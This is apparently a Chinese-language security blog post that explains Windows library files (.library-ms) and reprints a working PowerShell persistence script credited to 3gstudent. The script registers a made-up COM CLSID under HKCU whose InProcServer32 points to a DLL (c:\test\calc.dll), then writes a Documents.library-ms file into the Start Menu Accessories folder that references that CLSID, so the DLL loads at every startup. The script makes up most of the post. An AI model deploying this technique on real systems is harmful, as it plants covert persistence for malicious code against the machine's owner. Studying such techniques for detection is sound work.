Library-Files-維持權限--對比自帶CLSID打開程序

簡單介紹下庫的概念

庫是用戶定義的用戶的內容的邏輯表示的文件夾集合。 通過在庫中包括文件夾,用戶告知 Windows 他或她的重要數據的位置。 系統將索引啓用快速搜索和 Windows 資源管理器中的功能根據文件屬性和元數據更豐富查看排列在這些文件夾,庫描述保存在磁盤 %appdata%\Microsoft\Windows\Libraries 文件夾

下面是3g老師的代碼

function Invoke-LibraryFilesPersistence
{ 
<#
.SYNOPSIS
First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories.
It'll load c:\test\calc.dll on start-up.
Author: 3gstudent
Reference:
https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/
#>
$clsid = "{11111111-1111-1111-1111-111111111111}"
$outpath = $env:appdata+"\Microsoft\Windows\Start Menu\Programs\Accessories\"+"Documents.library-ms"
$payload = "c:\test\calc.dll"
$xml = @"
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@shell32.dll,-34575</name>
<ownerSID></ownerSID>
<version>6</version>
#islibrarypinned關閉了,那麼左側相應的Library就不會被固定住
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<templateInfo>
#文件資料夾 {7D49D726-3C21-4F05-99AA-FDC2C9474656}
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription publisher="Microsoft" product="Windows">
<description>@shell32.dll,-34577</description>
<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>
<isSearchOnlyItem>true</isSearchOnlyItem>
<simpleLocation>
#此處指示的打開方式和win+R方式通過指定控制面板的CLSID是一樣的,這話CLSID是我們自己添加的com對象
<url>shell:::$clsid</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"@
$xml| Out-File $outpath -encoding utf8
$RegKey = "HKCU:\Software\Classes\CLSID\$clsid\"
New-Item -type Directory $RegKey
New-Item -type Directory $RegKey"InProcServer32"
New-Item -type Directory $RegKey"ShellFolder"
New-ItemProperty -path $RegKey"InProcServer32" -name "(default)" -value $payload -propertyType string
New-ItemProperty $RegKey"InProcServer32" -name "ThreadingModel" -value "Apartment" -propertyType string
New-ItemProperty $RegKey"ShellFolder" -name "Attributes" -value 0xf090013d -propertyType dword
}
Invoke-LibraryFilesPersistence

在這裏插入圖片描述

比如下面運行,就是通過shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}可以打開所有控制面板

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章